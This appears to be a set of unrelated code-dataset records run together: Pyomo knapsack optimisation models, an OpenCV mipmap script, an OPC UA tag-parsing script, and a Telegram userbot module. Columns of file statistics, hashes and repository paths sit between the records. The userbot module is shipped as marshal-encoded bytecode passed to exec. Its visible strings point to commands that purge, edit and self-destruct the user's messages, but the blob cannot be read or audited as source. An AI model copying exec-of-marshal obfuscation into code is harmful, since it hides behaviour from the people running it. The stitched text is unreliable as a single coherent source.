model.value = Objective(rule=value_rule, sense=maximize)
def weight_rule(model,j):
return sum(model.w[i,j] * model.x[i] for i in model.items) <= model.w_max[j]
model.weight = Constraint(model.resources, rule=weight_rule)
def flow_rule(model,j):
return sum(model.mu[i,j] * model.x[i] for i in model.items) <= model.ts * model.w_max[j]
model.flow = Constraint(model.resources, rule=flow_rule)
return model
def Create_IntKS(items,resources,v,w,w_max,ex,mu,ts, claimedresources, currentresources):
#Model Formulation
model = ConcreteModel()
model.ITEMS = items
model.RESOURCES = resources
model.claimedresources = claimedresources
model.currentresources = currentresources
model.v = v
model.w = w
model.w_max = w_max
model.x = Var(model.ITEMS, within=Binary)
model.ex = ex
model.mu = mu
model.ts = ts
def existance_rule(model,i):
if model.ex[i] == 0:
return model.x[i] == 0
else:
return Constraint.Skip
model.existance = Constraint(model.ITEMS, rule=existance_rule)
def value_rule(model):
return sum(model.v[i] * model.x[i] * model.ex[i] for i in model.ITEMS)
model.value = Objective(rule=value_rule, sense=maximize)
def weight_rule(model,j):
return sum(model.w[i,j] * model.x[i] for i in model.ITEMS) <= model.currentresources[j]
model.weight = Constraint(model.RESOURCES, rule=weight_rule)
def flow_rule(model,j):
return sum(model.mu[i,j] * model.x[i] for i in model.ITEMS) <= model.ts * model.w_max[j] - model.claimedresources[j]
model.flow = Constraint(model.RESOURCES, rule=flow_rule)
return model
def Create_GreedyKS(items,resources,v,w,w_max,ex,ts, claimedresources, currentresources):
#Model Formulation
model = ConcreteModel()
model.ITEMS = items
model.RESOURCES = resources
model.claimedresources = claimedresources
model.currentresources = currentresources
model.v = v
model.w = w
model.w_max = w_max
model.x = Var(model.ITEMS, within=Binary)
model.ex = ex
model.ts = ts
def existance_rule(model,i):
if model.ex[i] == 0:
return model.x[i] == 0
else:
return Constraint.Skip
model.existance = Constraint(model.ITEMS, rule=existance_rule)
def value_rule(model):
return sum(model.v[i] * model.x[i] * model.ex[i] for i in model.ITEMS)
model.value = Objective(rule=value_rule, sense=maximize)
def weight_rule(model,j):
return sum(model.w[i,j] * model.x[i] for i in model.ITEMS) <= model.currentresources[j]
model.weight = Constraint(model.RESOURCES, rule=weight_rule)
return model
"""
def Create_PenaltyKS_Max(items,resources,v,w,w_max,ex,ts, claimedresources, currentresources,penalty_rate):
model = ConcreteModel()
model.ITEMS = items
model.RESOURCES = resources
model.claimedresources = claimedresources
model.currentresources = currentresources
model.v = v
model.w = w
model.w_max = w_max
model.Penalty_Rate = penalty_rate
model.x = Var(model.ITEMS, within=Binary)
model.y = Var(within = Binary)
model.Penalty = Var(within = NonNegativeReals)
model.BTX = Var()
model.ex = ex
model.ts = ts
model.M = 100
model.M1 = 100
model.M2 = 100
def existance_rule(model,i):
if model.ex[i] == 0:
return model.x[i] == 0
else:
return Constraint.Skip
model.existance = Constraint(model.ITEMS)
def value_rule(model):
return sum(model.v[i] * model.x[i] * model.ex[i] for i in model.ITEMS) - model.Penalty
model.value = Objective(rule=value_rule, sense=maximize)
def penalty_existance_rule(model,j):
return sum(model.w[i,j] * model.x[i] for i in model.ITEMS) - (model.ts * model.w_max[j] - model.claimedresources[j]) + model.M * model.y >= 0
model.penalty_existance = Constraint(model.RESOURCES, rule= penalty_existance_rule)
def penalty_bound_rule(model):
return model.Penalty <= model.M1*(1-model.y)
model.penalty_bound = Constraint(rule=penalty_bound_rule)
def overage_calc_rule(model):
return model.BTX == model.Penalty_Rate * sum(sum(model.w[i,j] * model.x[i] for i in model.ITEMS)- (model.ts * model.w_max[j] - model.claimedresources[j]) for j in model.RESOURCES)
model.overage_calc = Constraint(rule=overage_calc_rule)
def penalty_value_rule(model):
return -model.Penalty + model.BTX <= model.M2 * (model.y)
model.penalty_value = Constraint(rule = penalty_value_rule)
def weight_rule(model,j):
return sum(model.w[i,j] * model.x[i] for i in model.ITEMS) <= model.currentresources[j]
model.weight = Constraint(model.RESOURCES, rule=weight_rule)
return model
"""
def Create_PenaltyKS_Max(items,resources,v,w,w_max,ex,ts, claimedresources, currentresources,penalty_rate):
model = ConcreteModel()
model.ITEMS = items
model.RESOURCES = resources
model.claimedresources = claimedresources
model.currentresources = currentresources
model.v = v
model.w = w
model.w_max = w_max
model.Penalty_Rate = penalty_rate
model.x = Var(model.ITEMS, within=Binary)
model.y = Var(model.RESOURCES, within = Binary)
model.z = Var(model.ITEMS, model.RESOURCES, within=Binary)
model.Penalty = Var(within = NonNegativeReals)
model.ex = ex
model.ts = ts
model.M = 100
def existance_rule(model,i):
if model.ex[i] == 0:
return model.x[i] == 0
else:
return Constraint.Skip
model.existance = Constraint(model.ITEMS,rule=existance_rule)
def value_rule(model):
return sum(model.v[i] * model.x[i] * model.ex[i] for i in model.ITEMS) - sum((model.Penalty_Rate * sum(model.w[i,r]*model.z[i,r] for i in model.ITEMS) - model.Penalty_Rate * (model.ts * model.w_max[r] - model.claimedresources[r])*model.y[r]) for r in model.RESOURCES)
model.value = Objective(rule=value_rule, sense=maximize)
def objective_linearization_rule(model,i,r):
return model.z[i,r] <= model.x[i]
model.objective_linearization = Constraint( model.ITEMS, model.RESOURCES,rule=objective_linearization_rule)
def objective_linearization2_rule(model,i,r):
return model.z[i,r] <= model.y[r]
model.objective_linearization2 = Constraint(model.ITEMS, model.RESOURCES,rule=objective_linearization2_rule)
def objective_linearization3_rule(model,i,r):
return model.z[i,r] >= model.x[i] + model.y[r] - 1
model.objective_linearization3 = Constraint(model.ITEMS, model.RESOURCES,rule=objective_linearization3_rule)
def BigM_rule(model,r):
return sum(model.w[i,r]*model.x[i] for i in model.ITEMS) - (model.ts*model.w_max[r] - model.claimedresources[r]) <= model.M * model.y[r]
model.BigM = Constraint(model.RESOURCES,rule=BigM_rule)
def BigM2_rule(model,r):
return sum(model.w[i,r]*model.x[i] for i in model.ITEMS) - (model.ts*model.w_max[r] - model.claimedresources[r]) >= 1 - model.M * (1-model.y[r])
model.BigM2 = Constraint(model.RESOURCES,rule=BigM2_rule)
def weight_rule(model,j):
return sum(model.w[i,j] * model.x[i] for i in model.ITEMS) <= model.currentresources[j]
model.weight = Constraint(model.RESOURCES, rule=weight_rule)
return model
def Create_ProbKS(items,resources,v,w,w_max,ex,mu,ts, claimedresources, currentresources):
model = ConcreteModel()
model.ITEMS = items
model.RESOURCES = resources
model.claimedresources = claimedresources
model.currentresources = currentresources
model.v = v
model.w = w
model.w_max = w_max
model.x = Var(model.ITEMS, within=Binary)
model.ex = ex
model.mu = mu
model.ts = ts
def existance_rule(model,i):
if model.ex[i] == 0:
return model.x[i] == 0
else:
return Constraint.Skip
model.existance = Constraint(model.ITEMS, rule=existance_rule)
def value_rule(model):
return sum(model.v[i] * model.x[i] * model.ex[i] for i in model.ITEMS)
model.value = Objective(rule=value_rule, sense=maximize)
def weight_rule(model,j):
return sum(model.w[i,j] * model.x[i] for i in model.ITEMS) <= model.currentresources[j]
model.weight = Constraint(model.RESOURCES, rule=weight_rule)
def flow_rule(model,j):
return sum(model.mu[i,j] * model.x[i] for i in model.ITEMS) <= model.ts * model.w_max[j] - model.claimedresources[j]
model.flow = Constraint(model.RESOURCES, rule=flow_rule)
return model
def Create_PenaltyKS(items,resources,v,w,w_max,ex,ts, claimedresources, currentresources,penalty_rate):
model = ConcreteModel()
model.ITEMS = items
model.RESOURCES = resources
model.claimedresources = claimedresources
model.currentresources = currentresources
model.v = v
model.w = w
model.w_max = w_max
model.Penalty_Rate = penalty_rate
model.x = Var(model.ITEMS, within=Binary)
model.y = Var(within = Binary)
model.Penalty = Var(within = PositiveReals)
model.ex = ex
model.ts = ts
model.M = 25
model.M1 = 25
model.M2 = 25
def existance_rule(model,i):
if model.ex[i] == 0:
return model.x[i] == 0
else:
return Constraint.Skip
model.existance = Constraint(model.ITEMS, rule=existance_rule)
def value_rule(model):
return sum(model.v[i] * model.x[i] * model.ex[i] for i in model.ITEMS) - model.Penalty
model.value = Objective(rule=value_rule, sense=maximize)
def penalty_existance_rule(model,j):
return sum(model.w[i,j] * model.x[i] for i in model.ITEMS)- (model.ts * model.w_max[j] - model.claimedresources[j]) + model.M1 * model.y >= 0
model.penalty_existance = Constraint(model.RESOURCES, rule= penalty_existance_rule)
def penalty_bound_rule(model):
return model.Penalty <= model.M1*(1-model.y)
model.penalty_bound = Constraint(rule=penalty_bound_rule)
def penalty_value_rule(model):
return -model.Penalty + model.Penalty_Rate * sum((sum(model.w[i,j] * model.x[i] for i in model.ITEMS)- (model.ts * model.w_max[j] - model.claimedresources[j]))for j in model.RESOURCES) >= model.M2 * (model.y)
model.penalty_value = Constraint(rule = penalty_value_rule)
def weight_rule(model,j):
return sum(model.w[i,j] * model.x[i] for i in model.ITEMS) <= model.currentresources[j]
model.weight = Constraint(model.RESOURCES, rule=weight_rule)
return model
| 31.731343
| 269
| 0.72794
| 1,667
| 10,630
| 4.546491
| 0.05099
| 0.064652
| 0.029555
| 0.034833
| 0.897216
| 0.890751
| 0.887452
| 0.865154
| 0.852751
| 0.836258
| 0
| 0.006335
| 0.138758
| 10,630
| 334
| 270
| 31.826347
| 0.821518
| 0.010724
| 0
| 0.721393
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.174129
| false
| 0
| 0.024876
| 0.114428
| 0.402985
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 8
|
3b0ab919a9b604181f59b00ef7237354c922e8a8
| 606
|
py
|
Python
|
model/mipmap.py
|
vitorgodeiro/RenderGL
|
66a2de32a3f6f8e2dbfb9d0e62173811c0c8d51b
|
[
"MIT"
] | 1
|
2019-05-13T01:08:52.000Z
|
2019-05-13T01:08:52.000Z
|
model/mipmap.py
|
vitorgodeiro/RenderGL
|
66a2de32a3f6f8e2dbfb9d0e62173811c0c8d51b
|
[
"MIT"
] | null | null | null |
model/mipmap.py
|
vitorgodeiro/RenderGL
|
66a2de32a3f6f8e2dbfb9d0e62173811c0c8d51b
|
[
"MIT"
] | 1
|
2021-10-10T06:00:58.000Z
|
2021-10-10T06:00:58.000Z
|
import cv2
img = cv2.imread('mandrill_256.jpg')
lower_reso = cv2.pyrDown(img)
cv2.imwrite('mandrill_128.jpg', lower_reso)
lower_reso = cv2.pyrDown(lower_reso)
cv2.imwrite('mandrill_64.jpg', lower_reso)
lower_reso = cv2.pyrDown(lower_reso)
cv2.imwrite('mandrill_32.jpg', lower_reso)
lower_reso = cv2.pyrDown(lower_reso)
cv2.imwrite('mandrill_16.jpg', lower_reso)
lower_reso = cv2.pyrDown(lower_reso)
cv2.imwrite('mandrill_8.jpg', lower_reso)
lower_reso = cv2.pyrDown(lower_reso)
cv2.imwrite('mandrill_4.jpg', lower_reso)
lower_reso = cv2.pyrDown(lower_reso)
cv2.imwrite('mandrill_2.jpg', lower_reso)
| 25.25
| 43
| 0.783828
| 98
| 606
| 4.561224
| 0.183673
| 0.402685
| 0.348993
| 0.297539
| 0.778523
| 0.778523
| 0.778523
| 0.778523
| 0.778523
| 0.778523
| 0
| 0.055456
| 0.077558
| 606
| 23
| 44
| 26.347826
| 0.744186
| 0
| 0
| 0.375
| 0
| 0
| 0.19637
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.0625
| 0
| 0.0625
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
3b18793bcc19b62ee9722057d537e41c587f2c78
| 2,050
|
py
|
Python
|
node/opcua/monitor/parse_tags.py
|
mabotech/mabo.io
|
7f646db9d5ee3cd0b137866bf8eaf295890f134c
|
[
"MIT"
] | null | null | null |
node/opcua/monitor/parse_tags.py
|
mabotech/mabo.io
|
7f646db9d5ee3cd0b137866bf8eaf295890f134c
|
[
"MIT"
] | null | null | null |
node/opcua/monitor/parse_tags.py
|
mabotech/mabo.io
|
7f646db9d5ee3cd0b137866bf8eaf295890f134c
|
[
"MIT"
] | 1
|
2021-01-30T01:47:01.000Z
|
2021-01-30T01:47:01.000Z
|
filename = "cool_system.csv"
import json
import csv
with open(filename, 'rb') as f:
reader = csv.reader(f)
i = 0
y = []
z = []
for row in reader:
i = i +1
if i != 1:
x = "ns=2;s=CP_OP10C_D.cool_system.%s" % (row[0])
y.append(x)
z.append(row[0].split(".")[-1])
print y
#print json.dumps(z)
v = ['ns=2;s=CP_OP10C_D.cool_system.Cool_ChipMotor1_CurrA', 'ns=2;s=CP_OP10C_D.cool_system.Cool_ChipMotor1_CurrB', 'ns=2;s=CP_OP10C_D.cool_system.Cool_ChipMotor1_CurrC', 'ns=2;s=CP_OP10C_D.cool_system.Cool_ChipMotor1_Temp', 'ns=2;s=CP_OP10C_D.cool_system.Cool_ChipMotor1_Vibr', 'ns=2;s=CP_OP10C_D.cool_system.Cool_Filter_DiffPress', 'ns=2;s=CP_OP10C_D.cool_system.Cool_GearBox_Temp', 'ns=2;s=CP_OP10C_D.cool_system.Cool_Motor1_Temp', 'ns=2;s=CP_OP10C_D.cool_system.Cool_Motor1_Vibr', 'ns=2;s=CP_OP10C_D.cool_system.Cool_System_Flow', 'ns=2;s=CP_OP10C_D.cool_system.Cool_System_Press','ns=2;s=CP_OP10C_D.hyd_system.Hyd_FrDoorCls_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_FrDoorOpen_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_IndexUclamp_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_MaClampClp_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_MaClampDep_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_MaClampUcl_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_Motor1_CurrA', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_Motor1_CurrB', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_Motor1_CurrC', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_Motor1_Temp', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_PotClp_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_PotSlidMag_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_PotSlidSpdl_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_PotUcl_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_SideClp_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_SideUcl_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_SpToolClp_Press', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_System_Flow', 'ns=2;s=CP_OP10C_D.hyd_system.Hyd_System_Oiltemp']
n = []
for i in v:
z = i.replace("ns=2;s=CP_OP10C_D.","")
n.append(z)
print json.dumps(n)
| 55.405405
| 1,552
| 0.738537
| 411
| 2,050
| 3.304136
| 0.150852
| 0.070692
| 0.094256
| 0.141384
| 0.749632
| 0.749632
| 0.740795
| 0.718704
| 0.693667
| 0.656848
| 0
| 0.06138
| 0.101951
| 2,050
| 37
| 1,553
| 55.405405
| 0.676263
| 0.009268
| 0
| 0
| 0
| 0
| 0.738166
| 0.720414
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.095238
| null | null | 0.095238
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
3b57c731a875e894e52db453e8fbd078d5b68641
| 8,597
|
py
|
Python
|
userbot/modules/messages.py
|
oxyda-fox/XBot-Remix
|
3d97bea5395b223fc89a8cc6cb699cc624ccc967
|
[
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null |
userbot/modules/messages.py
|
oxyda-fox/XBot-Remix
|
3d97bea5395b223fc89a8cc6cb699cc624ccc967
|
[
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null |
userbot/modules/messages.py
|
oxyda-fox/XBot-Remix
|
3d97bea5395b223fc89a8cc6cb699cc624ccc967
|
[
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null |
#Encript Marshal By XVenom
#https://github.com/xvenom15
import marshal
exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00s\xb2\x00\x00\x00d\x00Z\x00d\x01d\x02l\x01m\x02Z\x02\x01\x00d\x01d\x03l\x03m\x04Z\x04\x01\x00d\x01d\x04l\x05m\x06Z\x06m\x07Z\x07m\x08Z\x08\x01\x00d\x01d\x05l\tm\nZ\n\x01\x00e\nd\x06d\x07d\x08\x8d\x02d\td\n\x84\x00\x83\x01Z\x0be\nd\x06d\x0bd\x08\x8d\x02d\x0cd\r\x84\x00\x83\x01Z\x0ce\nd\x06d\x0ed\x08\x8d\x02d\x0fd\x10\x84\x00\x83\x01Z\re\nd\x06d\x11d\x08\x8d\x02d\x12d\x13\x84\x00\x83\x01Z\x0ee\nd\x06d\x14d\x08\x8d\x02d\x15d\x16\x84\x00\x83\x01Z\x0fe\x08\xa0\x10d\x17d\x18i\x01\xa1\x01\x01\x00d\x19S\x00)\x1azC Userbot module for purging unneeded messages(usually spam or ot). \xe9\x00\x00\x00\x00)\x01\xda\x05sleep)\x01\xda\rrpcbaseerrors)\x03\xda\x06BOTLOG\xda\rBOTLOG_CHATID\xda\x08CMD_HELP)\x01\xda\x08registerTz\x08^.purge$)\x02Z\x08outgoingZ\x07patternc\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x07\x00\x00\x00\xc3\x00\x00\x00s\x1c\x01\x00\x00|\x00\xa0\x00\xa1\x00I\x00d\x01H\x00}\x01g\x00}\x02|\x00j\x01j\x02|\x01|\x00j\x03d\x02\x8d\x02}\x03d\x03}\x04|\x00j\x03d\x01k\tr\x8a|\x032\x00zN3\x00d\x01H\x00W\x00}\x05|\x02\xa0\x04|\x05\xa1\x01\x01\x00|\x04d\x04\x17\x00}\x04|\x02\xa0\x04|\x00j\x03\xa1\x01\x01\x00t\x05|\x02\x83\x01d\x05k\x02r6|\x00j\x01\xa0\x06|\x01|\x02\xa1\x02I\x00d\x01H\x00\x01\x00g\x00}\x02q66\x00n\x14|\x00\xa0\x07d\x06\xa1\x01I\x00d\x01H\x00\x01\x00d\x01S\x00|\x02r\xb6|\x00j\x01\xa0\x06|\x01|\x02\xa1\x02I\x00d\x01H\x00\x01\x00|\x00j\x01\xa0\x08|\x00j\td\x07t\n|\x04\x83\x01\x9b\x00d\x08\x9d\x03\xa1\x02I\x00d\x01H\x00}\x06t\x0br\xfc|\x00j\x01\xa0\x08t\x0cd\tt\n|\x04\x83\x01\x17\x00d\n\x17\x00\xa1\x02I\x00d\x01H\x00\x01\x00t\rd\x0b\x83\x01I\x00d\x01H\x00\x01\x00|\x06\xa0\x0e\xa1\x00I\x00d\x01H\x00\x01\x00d\x01S\x00)\x0czA For .purge command, purge all messages starting from the reply. N)\x01Z\x06min_idr\x01\x00\x00\x00\xe9\x01\x00\x00\x00\xe9d\x00\x00\x00z\x1a`Balas di Pesan Goblokk!!`z1`Berhasil Menghapus Kenangan!` \nSebanyak: u\r\x00\x00\x00 Kenangan\xf0\x9f\x98\xadz\x13Kenangan sebanyak: z\x17 berhasil di bersihkan.\xe9\x02\x00\x00\x00)\x0f\xda\x0eget_input_chat\xda\x06client\xda\riter_messages\xda\x0freply_to_msg_id\xda\x06append\xda\x03lenZ\x0fdelete_messages\xda\x04edit\xda\x0csend_message\xda\x07chat_id\xda\x03strr\x04\x00\x00\x00r\x05\x00\x00\x00r\x02\x00\x00\x00\xda\x06delete)\x07Z\x04purg\xda\x04chatZ\x04msgsZ\x07itermsg\xda\x05count\xda\x03msgZ\x04done\xa9\x00r\x19\x00\x00\x00\xda\x00\xda\nfastpurger\x10\x00\x00\x00s:\x00\x00\x00\x00\x03\x0e\x01\x04\x01\x12\x01\x04\x02\n\x01\x10\x01\n\x01\x08\x01\x0c\x01\x0c\x01\x14\x01\n\x02\x10\x01\x04\x02\x04\x01\x14\x01\x06\x01\x04\x00\x02\x01\x06\xff\x06\xff\n\x04\x04\x01\x06\x01\x02\x01\x0e\xfe\n\x03\x0e\x01r\x1b\x00\x00\x00z\t^.purgemec\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x07\x00\x00\x00\xc3\x00\x00\x00s\xcc\x00\x00\x00|\x00j\x00}\x01t\x01|\x01d\x01d\x02\x85\x02\x19\x00\x83\x01}\x02d\x03}\x03|\x00j\x02j\x03|\x00j\x04d\x04d\x05\x8d\x022\x00z23\x00d\x02H\x00W\x00}\x01|\x03|\x02d\x03\x17\x00k\x04rH\x01\x00qb|\x03d\x03\x17\x00}\x03|\x01\xa0\x05\xa1\x00I\x00d\x02H\x00\x01\x00q,6\x00|\x00j\x02\xa0\x06|\x00j\x04d\x06t\x07|\x02\x83\x01\x17\x00d\x07\x17\x00\xa1\x02I\x00d\x02H\x00}\x04t\x08r\xa8|\x00j\x02\xa0\x06t\td\x08t\x07|\x02\x83\x01\x17\x00d\t\x17\x00\xa1\x02I\x00d\x02H\x00\x01\x00t\nd\n\x83\x01I\x00d\x02H\x00\x01\x00d\x03}\x03|\x04\xa0\x05\xa1\x00I\x00d\x02H\x00\x01\x00d\x02S\x00)\x0bz5 For .purgeme, delete x count of your latest message.\xe9\t\x00\x00\x00Nr\x08\x00\x00\x00\xda\x02me)\x01Z\tfrom_userz\x1f`Menghapus Kenangan!` Sebanyak z\x08 Sukses.z\x13Berhasil menghapus z\r kenangan....r\n\x00\x00\x00)\x0b\xda\x04text\xda\x03intr\x0c\x00\x00\x00r\r\x00\x00\x00r\x13\x00\x00\x00r\x15\x00\x00\x00r\x12\x00\x00\x00r\x14\x00\x00\x00r\x04\x00\x00\x00r\x05\x00\x00\x00r\x02\x00\x00\x00)\x05\xda\x05delme\xda\x07messager\x17\x00\x00\x00\xda\x01i\xda\x04smsgr\x19\x00\x00\x00r\x19\x00\x00\x00r\x1a\x00\x00\x00\xda\x07purgeme2\x00\x00\x00s,\x00\x00\x00\x00\x03\x06\x01\x10\x01\x04\x02\n\x01\x02\xff\x12\x02\x0c\x01\x04\x01\x08\x01\x12\x02\x06\x01\x04\x01\x0e\xfe\n\x04\x04\x01\x06\x01\x02\x01\x0e\xfe\n\x03\x0e\x01\x04\x01r$\x00\x00\x00z\x06^.del$c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00\xc3\x00\x00\x00s\x80\x00\x00\x00|\x00\xa0\x00\xa1\x00I\x00d\x01H\x00}\x01|\x00j\x01r|z8|\x01\xa0\x02\xa1\x00I\x00d\x01H\x00\x01\x00|\x00\xa0\x02\xa1\x00I\x00d\x01H\x00\x01\x00t\x03rJ|\x00j\x04\xa0\x05t\x06d\x02\xa1\x02I\x00d\x01H\x00\x01\x00W\x00n.\x04\x00t\x07j\x08k\nrz\x01\x00\x01\x00\x01\x00t\x03rv|\x00j\x04\xa0\x05t\x06d\x03\xa1\x02I\x00d\x01H\x00\x01\x00Y\x00n\x02X\x00d\x01S\x00)\x04z/ For .del command, delete the replied message. Nz"Deletion of message was successfulz\x1eWell, I can\'t delete a message)\tZ\x11get_reply_messager\x0e\x00\x00\x00r\x15\x00\x00\x00r\x04\x00\x00\x00r\x0c\x00\x00\x00r\x12\x00\x00\x00r\x05\x00\x00\x00r\x03\x00\x00\x00Z\x0fBadRequestError)\x02r \x00\x00\x00Z\x07msg_srcr\x19\x00\x00\x00r\x19\x00\x00\x00r\x1a\x00\x00\x00\xda\tdelete_itM\x00\x00\x00s \x00\x00\x00\x00\x03\x0e\x01\x06\x01\x02\x01\x0e\x01\x0e\x01\x04\x01\x06\x01\x02\x00\x02\xff\x0e\x02\x10\x01\x04\x01\x06\x01\x02\x00\x02\xffr%\x00\x00\x00z\x06^.editc\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\xc3\x00\x00\x00s\xa6\x00\x00\x00|\x00j\x00}\x01|\x00\xa0\x01\xa1\x00I\x00d\x01H\x00}\x02|\x00j\x02\xa0\x03d\x02\xa1\x01I\x00d\x01H\x00}\x03t\x04|\x01d\x03d\x01\x85\x02\x19\x00\x83\x01}\x04d\x04}\x05|\x00j\x02\xa0\x05|\x02|\x03\xa1\x022\x00z>3\x00d\x01H\x00W\x00}\x01|\x05d\x05k\x02r~|\x01\xa0\x06|\x04\xa1\x01I\x00d\x01H\x00\x01\x00|\x00\xa0\x07\xa1\x00I\x00d\x01H\x00\x01\x00\x01\x00q\x8a|\x05d\x04\x17\x00}\x05qH6\x00t\x08r\xa2|\x00j\x02\xa0\tt\nd\x06\xa1\x02I\x00d\x01H\x00\x01\x00d\x01S\x00)\x07z. For .editme command, edit your last message. Nr\x1d\x00\x00\x00\xe9\x06\x00\x00\x00r\x08\x00\x00\x00r\n\x00\x00\x00z$Edit query was executed successfully)\x0br\x1e\x00\x00\x00r\x0b\x00\x00\x00r\x0c\x00\x00\x00Z\x0bget_peer_idr\x14\x00\x00\x00r\r\x00\x00\x00r\x11\x00\x00\x00r\x15\x00\x00\x00r\x04\x00\x00\x00r\x12\x00\x00\x00r\x05\x00\x00\x00)\x06r\x11\x00\x00\x00r!\x00\x00\x00r\x16\x00\x00\x00Z\x07self_idZ\x06stringr"\x00\x00\x00r\x19\x00\x00\x00r\x19\x00\x00\x00r\x1a\x00\x00\x00\xda\x06editer^\x00\x00\x00s\x1e\x00\x00\x00\x00\x03\x06\x01\x0e\x01\x12\x01\x10\x01\x04\x01\x1a\x01\x08\x01\x10\x01\x0e\x01\x04\x01\x0c\x01\x04\x01\x08\x01\x02\xffr\'\x00\x00\x00z\x04^.sdc\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\xc3\x00\x00\x00s\x84\x00\x00\x00|\x00j\x00}\x01t\x01|\x01d\x01d\x02\x85\x02\x19\x00\x83\x01}\x02t\x02|\x00j\x00d\x02d\x03\x85\x02\x19\x00\x83\x01}\x03|\x00\xa0\x03\xa1\x00I\x00d\x03H\x00\x01\x00|\x00j\x04\xa0\x05|\x00j\x06|\x03\xa1\x02I\x00d\x03H\x00}\x04t\x07|\x02\x83\x01I\x00d\x03H\x00\x01\x00|\x04\xa0\x03\xa1\x00I\x00d\x03H\x00\x01\x00t\x08r\x80|\x00j\x04\xa0\x05t\td\x04\xa1\x02I\x00d\x03H\x00\x01\x00d\x03S\x00)\x05z4 For .sd command, make seflf-destructable messages. \xe9\x04\x00\x00\x00r&\x00\x00\x00Nz\x1asd query done successfully)\nr\x1e\x00\x00\x00r\x1f\x00\x00\x00r\x14\x00\x00\x00r\x15\x00\x00\x00r\x0c\x00\x00\x00r\x12\x00\x00\x00r\x13\x00\x00\x00r\x02\x00\x00\x00r\x04\x00\x00\x00r\x05\x00\x00\x00)\x05Z\x07destroyr!\x00\x00\x00Z\x07counterr\x1e\x00\x00\x00r#\x00\x00\x00r\x19\x00\x00\x00r\x19\x00\x00\x00r\x1a\x00\x00\x00\xda\x0cselfdestructq\x00\x00\x00s\x16\x00\x00\x00\x00\x03\x06\x01\x10\x01\x12\x01\x0e\x01\x16\x01\x0e\x01\x0e\x01\x04\x01\x08\x01\x02\xffr)\x00\x00\x00Z\x08messagesax\x01\x00\x00`.purge`\nUsage: Purges all messages starting from the reply.\n\n`.purgeme` <x>\nusage: Deletes x amount of your latest messages..\n\n`.del`\nUsage: Deletes the message you replied to.\n\n`.edit`\nUsage: Replace your last message with <newmessage>.\n\n`.sd `<x> <message>\nUsage: Creates a message that selfdestructs in x seconds.\nKeep the seconds under 100 since it puts your bot to sleepN)\x11\xda\x07__doc__Z\x07asyncior\x02\x00\x00\x00Z\x0ftelethon.errorsr\x03\x00\x00\x00Z\x07userbotr\x04\x00\x00\x00r\x05\x00\x00\x00r\x06\x00\x00\x00Z\x0euserbot.eventsr\x07\x00\x00\x00r\x1b\x00\x00\x00r$\x00\x00\x00r%\x00\x00\x00r\'\x00\x00\x00r)\x00\x00\x00\xda\x06updater\x19\x00\x00\x00r\x19\x00\x00\x00r\x19\x00\x00\x00r\x1a\x00\x00\x00\xda\x08<module>\x06\x00\x00\x00s$\x00\x00\x00\x04\x02\x0c\x02\x0c\x02\x14\x01\x0c\x03\n\x01\n!\n\x01\n\x1a\n\x01\n\x10\n\x01\n\x12\n\x01\n\x0e\x04\x01\x02\x01\x02\xfe'))
| 2,149.25
| 8,526
| 0.762824
| 1,830
| 8,597
| 3.570492
| 0.187978
| 0.22865
| 0.151515
| 0.113866
| 0.41506
| 0.375727
| 0.330885
| 0.25375
| 0.215641
| 0.207377
| 0
| 0.339649
| 0.017797
| 8,597
| 4
| 8,526
| 2,149.25
| 0.434154
| 0.006049
| 0
| 0
| 0
| 1
| 0.764513
| 0.671114
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
